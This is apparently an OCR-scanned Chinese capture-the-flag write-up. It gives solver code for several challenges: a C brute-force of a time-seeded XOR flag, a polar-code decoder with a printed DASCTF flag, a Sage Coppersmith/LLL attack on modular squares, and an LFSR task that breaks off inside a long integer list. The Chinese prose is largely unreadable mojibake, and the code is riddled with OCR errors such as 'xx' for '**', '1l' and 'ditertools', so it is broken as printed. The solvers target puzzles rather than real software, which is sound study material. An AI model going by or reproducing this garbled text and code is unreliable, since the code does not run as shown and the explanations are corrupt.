69 print (f") Input file not found: {repr(input_file)}")
70 print("y Tip: Use '1ls | xxd' to check the actual filename encoding.")
71 sys.exit(1l)

T2

73 try:

74 decrypt_file(input_file, output_file)

75 except Exception as e:

76 print(f"X Error: {e}")

77 sys.exit(1l)

key.re
°

WEXNELFX 47 B 45 HiRYflag-generator, ZiEEkey-generatorfE4FE BT (8] =& /Y fhkE N key,

HWNZflag-generator/=4flag. BIRE 7 B8], BHATEDHLE,
5 Effikey

==
R+

Y60 MBI BHITIRNL, X

(ARTES

1 #include <stdint.h>

2  #include <stdio.h>

3  #include <string.h>

4

5 unsigned char xor_datal[] =

6 {

7 Ox5E, Ox55, Ox44, 0x42, 0x5C, Ox07, O0x04, Ox0D, Ox07, Ox51,



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

}s

int

Ox01, Ox0B, Ox42, Ox01, OxOE, Ox00, OxO05, O0x58,
0x46, Ox41, O0x45, 0x4C, O0x46, Ox4A, 0x52, 0Ox54,
Ox5D, 0Ox01, 0x76, Ox76, Ox60, Ox75, Ox6D, OX7D,
Ox5C, Ox49, O0x53, 0x09, Ox07, OxO07, Ox04, Ox55,
Ox41, Ox46, Ox40, Ox59, O0x53, 0x48, 0x02, O0x01,
0Ox02, Ox50, Ox05, Ox4B

main()

unsigned char str[0x40],buffer[0x50];

0x00,
Ox5F,
Ox4A,
Ox5E,
0x09,

Ox4B,
Ox5B,
Ox57,
0x40,
OxOE,

for(time_t time = 1625131800; time < 1625131860; time++)

{
unsigned char *addr;
memset(str,0,0x40) ;
memset (buffer,0,0x50);
snprintf(str, 0x40, "%lld", time * time);
size_t length = strlen(str);
addr = str + length - 16;
for(int k=0; k<4; k++)
{
memcpy (buffer + 16%xk, addr, 16);
}
for(int m=0; m<64; m++)
{
buffer[m] A= xor_data[m];
}
if(!strncmp(buffer,"oeqqh2550112v3964h5xrtttqrbmkij7",32))
{
printf("%s\n",buffer);
}
}
return 0;

Polar | Solved
FESERIC TR RIS IR
WAZEDEY, Bitty/EiEE LRI T

gl AMbugz — MR R IIEREANSIHE =R AL
KIGTRERZM NameError , , , REME

KL

Tist B numpy B9%4H (RIEEERR None FAYT

, BEIREIRAZHE object FixigE
T EH+ fcache / gcache EHNAEE



KR

2 def construction(N, K, eps):
3 n = int(np.log2(N))
4 Z = np.array([eps], dtype=float)
5 for rr in range(n):
6 m = Z.size
7 tmp = Z
8 Z = np.empty(2 * m, dtype=float)
9 Z[0::2] = 2 * tmp - tmp * tmp
10 Z[1::2] = tmp * tmp
11 idx = np.argpartition(Z, K)[:K]
12 infoidx = np.sort(idx)
13 frozenidx = np.setdiffld(np.arange(N), infoidx, True)
14 return infoidx, frozenidx, None
15
16 def encode(u, N):
17 n = int(np.log2(N))
18 X = u.astype(int) & 1
19 for i 1in range(n):
20 step = 1 << 1
21 for j in range(®, N, 2 * step):
22 kl = j
23 k2 = j + step
24 top = x[kl:k2]
25 bot = x[k2:k2+step]
26 x[kl:k2] = top 7 bot
27 return x
28
29 def decode(y, frozenidx):
30 N = len(y)
31 n = int(np.log2(N))
32 u = np.zeros(N, dtype=int)
33 fcache = [None] * N
34 gcache = [None] * N
35
36 for i in range(N):
37 fcache[i] = y[i]
38
39 for 11 in range(l, n + 1):
40 stride = 1 << 11
41 half = 1 << (11 - 1)
42 for block in range(0, N, stride):
43 for i 1in range(half):
44 a = fcache[block + 1]
45 b = fcache[block + half + 1]
46 if a is None or b is None:

47 fcache[block + i] = None



48 else:

49 fcache[block + i] = a *~ b
50 gcache[block + half + i] = b
51

52 for i in frozenidx:

53 ulil = 0

54

55 for 11 in range(n, 0, -1):

56 stride = 1 << 11

57 half = 1 << (11 - 1)

58 for block in range(0, N, stride):
59 for i in range(half):

60 idxtop = block + i

61 idxbot = block + half + i1
62 s = u[idxtop]

63 b = gcache[idxbot]

64 if b dis None:

65 u[idxbot] = s

66 else:

67 ulidxbot] = (s * b) & 1
68

69 for i in range(N):

70 if fcache[i] is not None:

71 uli] = fcachel[i]

T2

73 return u

74

if fcache[i] is not None:
u[i] = fcache[i]

return u
END
B AP polar EEZ2MFE
- BANMEERUBERNE -
R8I : lREE - 9.59
=B : REE = 0.720

| 15801 : RE3E = 0.530
= B : REE - 0.740

=== HEFH ===
FRrEtLEmESE > 0.5¢ » B
EDEILEFREE >0.7? B
Pket REIh

PEEERRTN, FLAG: DASCTF{30791925965219875359092524699552}

Crypto



InfEmy—& | solved
BEBHMAXKE (BEfflaghiiRE—NZEAb'Y) , T ZtCoppersmithiFEI#IEHYy

METTLET 95 RN T—IES0EEL, EROWE ¢ FFLL invx (= mod N) Bit
B LIFETE small_roots HIfR, BMEEFRLL invx AEEFEBT—1 0y ; fBEM Sy BB FT—1I
RIfRE

HEIIR

1 from sage.all import *
2
3 1dmport ditertools
4
5

n =
7494062703769887703668081866565274579333132167014632821313548612356114287792191
446305040778987677683423969025588609780586722302041792065732461222120206217

6 X =
1765894079745097286608272570883371832806455109415336927564378513072827155285436
69659120503474533510718918949406280646936944629296899342927397139761503564

7 enc =
[171913140516178930072571654761487972576911374062892422804053345491759562284090
3436228598969968521441543327057141589401318966713711269892553169244263117465,
9641132787876792322968262488187617202597106493282396426271887716518871836980743
69890065312129654041092751189904383511692340770351754022502563890149659129,
7180032100218555793581544809570003629664245733070965678131518584876407472850051
881863073521320984755175945971940415556560131906637963087186858520080371697,
7278553181711679696938086046655211422150759150466563658652641932706121629090932
321563533275034734532076001967063515644128656393602962743436588691292550955,
7071562327710704879223575342701708951735351528142781335702085495652888149086906
082135202373228913497958762517436624355411885769802496504666565676354985971,
3413965163746989076799750139073767902883585409040347485175384880698286295086116
450668908874661042930824632513226077293241606579860623548134540683517014908,
2493137980419237578727401577689050256924458164349933679492226475837903464940854
113255706502836954377682774302990058903802342341709302505294390801418750725,
7037496241695286494231721513031012711926461399781978631662013328084559450996685
17680963637470919081711543250526686176341295014062217859435692959000684769,
5552777372006623762153637976206247373873064461567116514205583015221459837217534
008241238757247008799091465340261767773126491113196555017701224186953871694,
9186498815290063560225204864848162315128056661601566278135344260424132471689285
88303906281917327740699957845171374473789655487919668241329243582133954931,
6285703978527192585551573159606891208930436794516107083852218894119508169694143
877674524233655827715834164790920008898708700696212875308975667988629122600,
4565821131595301933027502011473548351089153049383736095377526401155102463159616
751554487101099963154256032338275289954196137233514236675026771669397448591,
7354028408293897066124750524181484721476818972892986974136543818332765017277627
873430403568253740054915458886382543189082170087240348487233398435732750668,
5370948506146077094477619584844164469450740193602636179774449455880127521628083



109335128118173115534332610858463108611379783295442004063901920934588114927,
5264618249900492494641837734543042035149108592251970720538191486231178008150113
960789983442446591641558872707125645452698961563246034360954061831483647213,
6513125139607784795945254209394480461700344202765834488190356889718379145623802
939872464483348952974980390526647516251481867437041588167465850330579763279,
5262033702329001390391422541536639809745158814095265543035919699779168015060245
7532377218858805375839418974188909630862874595756881940113579562243211345,
7750935544205599311750172664816454094283912578450264910679211630524219423340768
85330764957368346786383962145902618781943739922097363252316652283607626263,
9140480882411488261083712089425894056824699846309172743615860756972739091862578
22025064357297723973525670314758846319856122628945064355266653202993561072,
1718758485465991841245414039195480938522644294472549748650221527950476049304595
476485962732599997579150503368277783583981982889346987154927101507640880482,
3799868282388836525794433906036101559515644339038944651012322840059136746763222
453358260146393852798092848063172360236554578223426132040539709695100381135,
3541865174568168697294834871089000487969014255500915579720513796774493370375651
716014189600846999507589235976876008482115085123321108899283458508107510708,
6000111495661651346419232325628380353801785608433408743076908483918697534471280
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979258980320805294461759383983309768035909047537011184542354343426226535954,
2772923054484873603401843956771430778727396268783883521927369969604621326253333
175756879115590603548737490996783800762012865049710708133535816778453037797,
3622892067090536628337021012065353050269995872027790907041571871005896492558194
343251769120410955308732501439323843012189523634511537530174600421000324152,
3174382616868334923945145958891531833810784973832007567638313125598593093295762
652554591142635749155979753746488256396393014722030104836291045197465838874,
4256588447149423373516508900510905722182922233502507560440170423785411636330486
332004710720420308453508981146707491199490587821515576748623301614087560564,
1736287477504227757504390658454291750300255766127813696614904571418247794506916
009652664930087502577299347386893027620051682352657093167964886525901374421,
3326252254728387004599613046242779602412782347654728014950813737896800835206483
664278000869822394572439763801102268423371282992356160440168810738590406525,
6979100145391572366906958738311293005389006748839532919315089694764264570039622
95226591860776440915513707907151961779292122853870463153483378009272618702,
2301211850580231081276758728582342727269395486786405951294889701663387598840276
569902515897473453845027548603307049976566142946803424132635663886899432250,
3151346294716003036068053056638810305469352943750381559175870997560916204776326
47493152587633141267040852979734177862014845266092756864325812651667377650,
7105462121113915447812110852869002434387137111948584715566548923138131722450734
296424572169741302092574907865287898578058110758999979994197441828438056921,
3300300591377886134914089272436825439726939308122191385395076321727068481400117
340100390975845421186013797094071096642022701305779531240082056215170691907,
5209908581735885427030041366511127166296746421936096315739932763700621371081873
203540124575726441671832663224261941004139363982285656624124076705570886583,
1154686459877886409675101523833930326905606252049963846151357136126939551475321
758632100365527303102685404974694677599534847589621867621089770303699361285,
4768380791599822404044581653236224254694100631155418993737177544254889720459051
883461358041571437042827894169852906850161204129565226838809765484772609831,
6519272360175262368113444254043218251217473485512896505557613922384188172491962
719027588019777642497760243610433358337890526001529714004093998089260590115,
5539053249581890877425019909295492880000650434372972441302487949521423968861816



558288431070612199580172360997204812583587269469469582544485916148352980019,
7180725493335662778242589228754248140612619896535054327216184922710308418403398
518192440627395933541113479319874938811558186010920295694184045531485103301,
6439652947081203383226127185295273926558072564125585015396134417913331369040663
238840768380192024806334946864694430434463548427598694769442936350810041659,
3245465276930424842770152552363153855198233375845821016547134156655891546285445
242176777250757720931068083764965941212175322427899699774443320906683613429,
3330671010160974790941557013449713059118567356889116146371058133454602203996735
161927560264154595456566285024657648571607105351387609456058119560350941195,
6821986419382358618871417612473438529471138091490778402693730492154877205917973
035166251347694136203207428205689479652787363100732238063420083552446912260,
3973076314115837840388612845250760051181878076099196039596384407984515672700339
516672228201427593379397452187399110835572187888841503596454971054349648092,
4936865509410441306003485456654600435810022782089161209298988331334616218685789
921793418818836113871635837564047061992457013576475065200998084352420428693,
1387005034191459568207880526573179186219234760510573980019838248740835193620239
97368500147088665561211553435550394279482027931753726863922667218079958354,
2481786561756785207325906602147091808842497737642832788362792587651848852965242
072409069192032646439501804678207202584354714469099159965020749372900819062,
2572966397365071070654120221944623158532775269276617023232067395512962802028977
605646853130003871292401009669087150435707928913057761970531126725262527731,
6324132522312380727155066269548600361416732110581522652127899259603830770942464
277650267364774579111002090549542565838880699852117422754835525652571111849,
2339251080737087010136154732037704737484014327068033130667640873437734095410095
181193334660070307269260017108710970839423039789699516243549061662798490748,
5966923090166753322462360304538285656251982328549414782873619325362368032325916
04919152974295482597894350887233951933917242763428364741059557194730860867,
3231925023788832994639927822147159988469722574330335702382566517642756463720380
913469258624450017736103858240295434431615794944500782164779140509374498292,
3706194213005303193311186330859543390006370237235447956684299837603246086860980
931589920333787040703883765235094478833134950007831634936427977327272441677,
3510242564933815901471784673146152109639562866824224123618222734930218143079271
89899504167964982069941389869877771567529961020428594916729291351164766714,
5527906213702976931482774431672879512905804887186892574131908318992828241389901
891585393350658310205639068315074785520510255856601931455867600239963166247,
2017076351585850676928548286482304434260902340533771340947124642362498045552976
855585229734403073967099459032309056034517546496946485569947711672936232251,
6606391007643552845461410755750177103306894582904290466795769413855622944986111
330918202181514262456259757426756554119919437597572245458049760121890685483,
3976794737583161555378790610288650216881769787265598693932584021164001340767600
778974044896395016019753175398434145183346770881863807773607083321813152146,
1976570458025947190299436162893389666532602499144231965436624094292400273521696
468612784292454941928317981225222042869102889153436884226004257306664186224,
1333572090763864365501788638833125474321640098421570543062623326970047533378026
300659852738096446689374149500630940056168504384744386304121981986069074738,
4094376382372907931741683043621776016252091214115739978474741756393227937159593
280931477025956477809531851227977187097210602357391255622982813562462642364,



6264383009683115307078394260047246870295578204759486788817491791169929708179029
358066449000448698444449475236674501117676412946172614530804780574420628105,
1991370862626870633073054166891675301273719057859895265908676018120497139784708
02038076806024081100770722011954217193560464525063012271013485100046480434,
1373705965854518856266839357780324891896629997018030142466733007242216302856979
75615640788752297655925153936704108286838378712159128589227953108892839067,
1675200126924372537477404902440194684894618968086946292430615595770747465326052
214117955845424144297606123329226704863582536702296456881683200467264953084,
9204308406422525960143545863245329079946471011754501977781408383894503289505447
50243919593649180694276270146041567020826626028986987527221446993999802488,
5728938330179054856695709301384161216687482774286804119491221949127809397170831
911448918330662082491881325648917471998112751914425749543963813560036115462,
5937193282706346366800209827546442793807252046388374600085304594100919744770579
38651905935975022823774038282566052812040059930960095036828109547728808244,
1643546173278799238464393279676091384769967683609512488490651937924603308582697
230534481193558624001742810286664081883578532841792706230914808086867461495,
4950051105207396429773774428166075000334954821837737397232251436180818678710199
211724231773966528636362313843123212954531465462181993269072316970641483752,
2321277584052677386109144043102555431537463526323344804107445290609657090933455
927487364656832031958873005142137183551206203381350955112720970983629475684 ,
4579436233520661038161884029091970187080828058613144386236685859057904033991019
280601043878403765169660457722265308860322878865696640767650494852640425277,
1890613613784849657932456067874703138178802907276799684155937649449913752455484
5226393032530233707147980671422307838425424818115436891501593223022031827,
3649739447103582098076238608317392519612960237580342548776236425045996900841506
099933841198429337672932374664711953830865692945603633311211804057613236324,
6228248267252875664628627371482930203797923900755249884900489349175534284948790
784868686455242930775996109784153985021962472756596423498541138085487322723,
3232259016167568396088636124691186778872755608979528475941705605372538123982530
089543735943732668890939456701500424525813466899287571731973313921868984805,
5230180726800777097714472558016559715011581240550241042117243307455060250183937
192110232322958177161094301709569356532188804008960304943709517659100012009,
1316182411882810585716069785492527119939221679926043191741779246579486911220519
569558733014732939798403126398938304154350259601846917283148808746705774112,
5171393541792955967386504096724384486848387545027162506058824561994639378771299
850868388303197135071554546442555505669680390535567513140238066731199431524,
3502406914202313614450387370518785177577299684174874204320162241652822833332684
6510775142995357882951453924641801621144372669846361298917545554103413182,
2137302852938511100617562003058664983273624114396214242893654581723221516655474
918148779088953177782808419941448719984559118447096665545427696709937842713,
2099305361584033537859343372808253981103869768903179252837074975753195318107806
55757933953255645828866209390042351830836279337190397061501517408059277687,
3872986020267814657409271626722062503718111147627634098489147832056854032602800
946436266352602142926616365232206071229597298304206045230548365661951077522,
1353182967413395061816484502209760000851237923728283774521553129820727442479338
500131723368608904090168808192168529256743509840312000677736865380507537597,
3989012311734412151789222401298139163313553222907339266222343038762544577268515



336723689194007193558263264033766563400869470061614041222467740729897778945,
6657934627409610222724351577670649726837779633184629144454851695438238638414565
047620038308540585583268640359657949347136804823986752924495443174820297207,
1939957578240465449128685156366892125093156232541825538491850379716359815561015
886172690604751039310402525340002812702097520600710037750287074101266805367,
3775097155691112357993487901891288529115680081326189286124370376570215637090523
13331430741131984546631013729797441300895357352523422174174809430228688926,
7368177743257889839799014630889959868082821591970785238021132865083837866069262
950226618481068147023276973364092377863002882245295200052579960501239119196,
5308300862101760671292585658751452628049014957002732045082560519339533743585724
73802632052068174957448979978484249171505601497376201648157539650093189283,
7376502080925571165446902809763768694636061410762198687423828839330038942134761
149049375581034657573374142320225725569977961901705450162870025527855762012,
2116346943204098782880885073913590762111226360036146748574267130728082070017266
442714183443559725139912906721658381591908291299672511209398838786833026709,
1199777635466712774822205543754218307068664346791144786672662649003222367801203
289358430843195259606424099228487895878674265477055329794956881054654716026,
1065047154492119587809130315926266634540312877479768838833721668340501716669517
402638318223576664315605450627948046791863572627510566106993841377518051440,
5763349199553369497389179709757707127098891583996504751921003943775730263427539
9532642415936872646564776006731728624721483663422906045459777596215800302,
4387332259562199732908790016236494236575320110997164079966354117865561681913540
018569486901341373579954728471417127066360146207405700122791914392223220374,
4912992173833881386838621974988117654635059839417714188337830801866998890203701
279633706380019338050829956062780063083253085600338877188837462216423352515,
2131552631311009454861522771076696810466488782774072213678563451902847619730588
023506731533122367751487975954054356961940799989994662298609806639374383532,
7330743882131510030850866494412341449415034749906932700942413372538363383327644
179653467033858265470706634932159215618772560940313556355863046255441278467,
8706040864596550297332568178607007014542367534581094162712226622865432835128675
97595372666558165665232229331184146310877052169182296521503123019337439263,
6808721355475102434941746264248564456299384624511891701833286430532751216389228
21950403344522878368443252128937220909347015476786456818467367664615182582,
4724755014750126366154144612549612395192354863626845042731552287761516767759334
583006493386068786737770070472800073340309754898657439678009537319332588077,
7033346038932236950889937133070711679204593535527563435243508327767199339263572
857029806368736783025382461394453552346779980043507060604530741699271587049,
1488758945001976173736074193268523840116905967041374845299947176295647941623801
576745116031908900162845435819502098566854672304706945102955494986567499180,
2031924368607149265090617698659519235691088502230452134836200389292003402258958
1031001779558837253235453466624134363975636645241026288893879461704222039,
3145267824376672830793568703183954478076762941060877390697773144210967898556496
681613052310152161622984166937015938600723987465406736616195115143840204272,
7065211296316310929917647988477706260854777367720509215461102227370538671245933
623485253881135209242186479608112449601079184899093566410058748022701249681,
5860016308325213119819184187670239564791333348087363680942925424162694462159018
573839942821488405708712369104188452455045689910694321205617267927010904353,



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

5645361475249093719768450338234034726485554026640026662174673396653231400488355
710059780115730446487495686330275120275600041319135689492356651341979038088,
6222727452583908397253535983805821930231388306224553254136976634073410340765549
319231925139894850295061726002336384426016757007977849079223677773537255081,
3696429825336147971620059489168478959976463308851142886577508477570240282766636
537964634680481107690278878090696361681958754963149721829332526387362213190,
7078032688626190314737342918176972325521293294689228613115610563935693105149448
353402481648280874993385612176692849105916242678776294364778167973947550187,
3270971084919614392338441788730004011100304400583583883067217490582518979491757
196768783495885678619945523947283699651895101048284585981169166481963660623,
2148843064997549913740046332281882693310226949255590440580489845028047589771544
283453290518792858933379819319132584513015919677339284914344995646843998048,,
1291525211756946411401294509523977729530718411866377519225168221934642683496562
640471014219152338552064525235942687244806796479646413595124980238537943389,
4913307250241775374386695436715632464827403720055363596619529423169293536260965
648729975796127464362240516770053847194323081306012483068777864581057200279,
6678281756307450766811979928838965105333300960175054010659048118393215643476339
302253367353882325289237489247795405556958386170996096189421801964924482147,
6571451722745901964935975901131304642592732543048759326775151039766171448957722
33827673391830935998805215202067285182351547427598777010976174255888108237,
5254189861688322883166710121819982619221538207416112766290975591655559256081375
216189936310254974303785089550027238530874504313982895640119168967142788774,
4107456224332124639796526866448719803417125732966259666717527193805945662592291
598638635704829882984364017372324547020897502769788128092736578440387426559,
2858837243023389958060661218677166091417324132599396589197054884499323557500626
489155371785733313327379967727003385933612324840437059452826759882016643192,
6834470718220476619599192939877802960626266906218601397992141268348842750307258
845978436373245888045814447365868690654204442632005537885428710943936919252]

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

# f /= f.coefficients().pop(0)
f = f.change_ring(Zz)

G = Sequence([], f.parent())
for i in range(m + 1):
base = N xx (m - i) *x f *x 7
for shifts in ditertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
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70
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73

if

monomials = vector(monomials)

factors = [monomial(xbounds) for monomial in monomials]
for i, factor 1in enumerate(factors):

B.rescale_col(i, factor)

v
1l

B.dense_matrix().LLL()

vs]
I}

B.change_ring(QQ)
for i, factor 1in enumerate(factors):
B.rescale_col(i, 1 / factor)

T
I}

Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append (h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

__hame__=='"__main__":

invx = pow(x,-1,n)
P = PolynomialRing(Zmod(n),'dl,d2")
dl,d2 = P._first_ngens(2)

#example: starting with the last character '}', in bytes, 0111 1101
#little-endian becomes:
bt = [int(i) for i in bin(b'}'[0])[2:].zfill(8)[::-1]]

s = []
for a,b in zip(enc,bt):
a = a *x pow(invx,b) % n

1s.append(a)

# now all numbers in 1ls(as c_1i) satisfy y_i”2 = c_i mod n

cl,c2,c3 = 1s[:3]
f = d2%x(c2-cl) - dl*(c3-cl) - dil*xd2*x(dl-d2)

ri,r2 = small_roots(f, (2*%*48,2x%x49))[0]



74 yl = int(((c2-cl) - rlx*2 ) * pow(2*rl,-1,n))

75

76 # yl =
7445124581785554422439585692405448860295095044875722435104074060647431272031703
400923309405889656263499007854708983384325320777396841583280923100541248190

77 res = [1] # last bit of xxxx

78 P = PolynomialRing(Zmod(n),'d")

79 d = P._first_ngens(1)[0]

80 for cc in enc[1:]:

81 ff = (yl + d)**2 - cc

82 r = ff.small_roots()

83 if len(r) != 0:

84 yl += int(r[0])

85 res.append(0)

86 else:

87 CC = cC * invx % n

88 ff = (yl+d) **x 2 - cc

89 r = ff.small_roots()

90 yl += 1int(r[0])

91 res.append(1)

92

93 final = int(''.join(str(i) for i in reversed(res)),2)

94 print(final.to_bytes(40).strip(b'\x00"'))

95

Ridiculous LFSR | Solved
ERLME MY KEEES pulp RAE

ERERBENEX c BNBEEEZ, FANFABRIKSEOXBAEEZ 1, ZFNMEK flag W H CEE
7 range (200) H)

B BRI N ETRARTIERFTEIERN H

MElEMZLIRENE, KEMFXFAN pulp BISKAIRFEITKERRIR], RIGAIUNIARLR flag FH5hH
TR (RENEEMRSENSE)

E/axf Optimal RUARRREE T 5EABMIMAYXAEEXNH LR A i
XHSEHLFSRIZX R, BI8ZE? 2272

(AGEEZS

1  Admport pulp

3 c =
[422972448741542273557478709834753401123239938247720104622601481907175654098267



25370735545,
4167740070112110963504874767162283795691176873767206883551967767210691486206283
0342960631,
5745243905183191257597855008709558877960897101088702194200555603430310589886920
5009836740,
3020653414248969703317652854100592101883627570126331213067477853206001345535809
3983879712,
1350083925275106899284501381772377103080309151913223887048769788725469750937673
3888504536,
7621796378408712558978505146362877232960051409262148889681248077136890217130878
395519456,
8109001465631622913689504538076502359417666324976909690061345766063450588163752
134229644,
1375823335178684941830200936271462953102146169248971795319720606136915742655505
3895698924,
2617684879939136995971367906183070350796645870214093353233906815325897470127033
3392156494,
5631955376083805919628900007723384109239358912305796383613824545541625268524711
2722653889,
2444887784109046830974336697460396564930258408840643005524649042986702370095699
3744875733,
3867747372566113581084404444047556397683085606468129463924973166049322393650239
2566464787,
4180385878227670731351654710760833407363180033790006806938252409937013701431498
5116744712,
3540085284322608981075376668228408338241983186831703030342961068223653961532312
0324608802,
2055122663042459218714344557571699252100072206123357274176034947917406229474701
1373740477,
6600201686232954035832564025373545546284418246233700810096036510369912902204313
925853356,
3327715205941184389196963394517498012655260344097137712028335060831547013316246
4177759343,
2656525010115350847056698801377634076074295033867060674367616424984652284316493
6255017975,
4167605373233443506797718203844492613777545532226958949621343668728487524689759
9113807909,
3452528888217337704817517717964858474180670459952611166472069840091624526410945
491352752,
4614577186320520402224374143492073593705937442994970526511022919652260643477127
06562468,
4154472891368214835529597003856206560460758852399372228442289749104443375071558
5741057736,
1437903826648245212397187409952329106600147225723435827015479108763406504626344
415268744,
1427982006551410775815303550794399495296912953117713155333110757753374067990404
8076080226,



4024515863076745469021389285368619934907570432150384463382283554542743980558680
8532515777,
2895942799885261431093003553512019960055556066563841907471415598173181587919008
3238186079,
1446582028288138930385073843594179661511596010687154332679887504215317012315597
3675978868,
2644023635277364226173596878112355433198918388243016023811009553691832588996679
1505110133,
5494375112920643303800453578163991382407837579777019048981018182565033108184356
7868404360,
2541560073462854159981352794225648350684484437201861458797176808796669500826544
7901501323,
3280255707554663965906249291008768273166190297811747638281967596423751820977984
8923811100,
3491978365521092448737376818694572655822488584174162914536921268130560130630502
5301957422,
2897335274196908425943444716144510064756803502902598653981842942536832954541768
5308811528,
4924790796507005659641359592098658677785079168665720399456203627843561710604103
7931363993,
3192756899354365413692535095955444198435028232669839350476659607370196382400022
0969547930,
3482560903308143132758552675569475626393615673101741441069903568413828833762303
1797352394,
1028309159157594624987965435554173080943875672668615143318801244797237012029380
595832967,
5110289750771349684638519457981579071855192490586763759680536956986234075124257
327574888,
5569161723000849347113414128360150369963429142072996115483766672027477907846204
139663900,
3357819764172029050634864776705391258626697639726113541986728336766494668053198
7937086934,
1135807274830385544831225869411844143962068592935668416039234525653603180006273
1741436936,
2653063437353085638289579931063217478266996840466578360817176605011635372178153
6550134642,
6042487252286159623043710414154565333541008905634676762757128340100004922750380
6378877834,
6291530911464112616095587538039933362834269726816137061294859738848592828689902
0144341090,
2321835685539466357002327454497012678564769366928681056627318257764268211659474
6992097694,
3042109442318538137725173012690671704964083892438502469629202366976587480848833
1873565001,
5841825222957371329485733766311820856653210063549607040183177891234782540487081
6299870537,
5979997262232425174093105947777711053464442127077150963699327396775270760632146



8149732739,
1420580421499410060139672267148282277942513400927813774590354729762282470053742
3407632722,
6257541068121890356363521411519789517584042692750009025950937741721301417682128
735788749,
5973218988074726171300875429059245496648717753634016717893338976122588000175354
6467724498,
4408186364962704593891973967221895730484612048236146942067650214237803714220138
8765521513,
5226401261097983456701291942786812721180021216384888352820460257792925945250021
4645920645,
6019133834560478358941736631613926840503456565382633194743775196546630088776918
720596388,
2756837344210835183905387688958905690636987591403559151522150600981257573361612
2084618955,
4819377323676377642145176501017199256110389373916196033453621027063994437633936
0122812810,
2637112957530910323763443894438171695753478672000888456289076125905365613735332
0926073514,
2230363814880147828477805182973367126893998127867304441378338886103558769667171
7234357154,
5168029061576374386068862001637400625806816399629916247239177415307769935613570
2204742131,
5568024560152031841057778777183672906346841754157646114260807537037018602803300
4033722992,
2465690256589793537520823545832440039475539706663110643382616442039545407632915
0294451959,
4106706044935340560685614060182859662211690558158730964083502086546395213230343
0755143857,
6038540888818679653190180145138062006348297476865813917545383506763865374732582
8147687010,
3679916125818744495424712221120222299942049406664205421776904505763840057507538
7616572913,
4663543325727182972480177135976805660704773053801806198509657854832414252887609
9638211901,
3612533378657689080821455072210021242717270475425335058754563614378446150740862
6840252264,
1007880042897502546560919333242401199903953220700989670555740604055307705982334
6253904838,
6197600891574472831136027343997189139291461044181387964598311823939050800962760
4080162449,
2165198409995050929114928842777969572683660007735604014361342172743741173520105
9350953812,
5000848089897170643830045231818637515463573128060819985752193577059897152711304
379586257,
1126207148529147106334204265120411210093266250374862513379722684364210791567337
8851162973,



8599519883507657880744262527858409029618867550192517565051906189002581236498394
461299763,
5276146236893637010469925617697740232296301200009374211131087300060369353900373
0154551161,
3142474388762360340377339426726874065443843801336906753769170882558420503105830
6357806620,
4217107272829027205810960906016664925077943881434054265853415513552610338652196
729756601,
2840082662474759939137270318279030328564948166705041933129735341127248387260698
7534644746,
6006065004401107912171532444716084032065802012861231834318270492316227201127889
6967687312,
5392913953026635634680379554885691672074527753280967593864453397395637808741057
6518589576,
2637959138862050438679888765692144654579266505365312817005584013515231521059706
4971040154,
1472691315287325980574827566585921207901106458676368135776279981045980392117316
0562471008,
4744519972275286002355463361684727487499653975172091801663569680884488336303363
1073314463,
5288931642771991117284211012762334950257324014702730721679323588783999452725897
9424642259,
4073573142348938638919950907057521407715488230655899857956648612987786563794767
9877557413,
4955571198979781194829193588533471426603969366633387362491216698948410638518559
2069087723,
6269005789347791438248304679764316918528766805788560808777741028029869638578338
2048224955,
9125638294558327899871250170664612102811707952524817795323880437150210047124394
87665607,
4676399878450460958693055278663201913650803608464407256508664391769459079073153
3444137754,
6151879155071263961638640445765160367918939037755625946583150730264046209889967
7394679266,
4094385148353361780025257282339353739565602016956464256460464877409455785181927
3018843179,
2240550420959730733123499122337731074697066424333833761687367941149164206853521
3266341821,
4640483751157338402146303786041747844315600799970985180307626644817923765234629
1401331100,
4626876322655083787233653894108693165521273762521891153872143620423354862141663
6726944429,
3003840127074514310417639089309796883006766930988161685089631766016523515789520
0205727986,
2540669932502200112230275794081832189887329377161085729448708734612766940200242
287732592,
1401387339048773231351442982102041482174783932876625520936429998732875908346076



5479913260,
3518245566300532528835408643243118014481872102646655498461598027419811638961490
6663755519,
1369182491999195635836759434570667159023240953891645209849319504782896204610558
8862564170,
3114346775813319895489429922040250809100763739739185396553503360964795444927876
4962811996,
9873246358960977985368434993810147028290427278879533043485724092088734573043102
019903371,
4429532672859859936919837056819885184637939013189521339364437765054462932530081
5824925351,
1015355938394195495605385207676058829892324882092513531289492006885930761288476
2427883342,
4019739541459307701640546042419903072459212449706551112677551776138753368985085
0363151180,
6947358309104416718468503674810310565332744714701053665035057837546073142312305
492222848,
1142745934227540211903925909164386886569430472345568981959506592093317357112117
9399752163,
1022370694088130680038431876320883523096305354406259160983676462792408577443093
836618341,
3573288958183029242762524740989751339221058650740626037667313708741693813802290
926625470,
2822135455171672828343195257566611754494095503437367755160465935735227186286260
6121740140,
6189071294374710871326361771157564625205295034784979846298368746486673392025866
8263800384,
2876494854797224810825029833784635703802381536675088358738523178705373665980639
4867604223,
1702950377258989472236164492664608156265670969224839467018588636658728216853724
52248731,
3128297006500028420266326341226610470308888279814177095064462972268272657244847
019456938,
5839978425584100486290105320450597385424561906785516778867958800121793075583630
3534760408,
2359163745685669031906693268954040487855786213064249622659388551841882894450371
5674603145,
3715767562690064312761998298413955320622626146067655352333148771043422515133628
8351720273,
3546896982610054902080730620318259044772739581277233563679190981568451680651565
9541950425,
6018381481552894481296748718556870787265932394645076569536337064197149626749659
8200940883,
8991753983159954192624310993407394829522313676131861846922521563217978024630604
542478506,
4374727856142510185491297780242123330552176147441973842849453220187151686957153
187534651,



3218063422084733230529543379745795413884425962082425141930710288647498274125892
2257109116,
2885918755538635674920165256741008108981598875202581913879922981967545804179822
2630521555,
7236382695642852815318019217107777841043326448978126516854306934967128624182251
788194611,
2392096175199685753102503792041286237467411485417714145470943934466684088097849
4670358226,
6039875140866067362855952940512899483904821117165992694095922747121869330663493
8271460807,
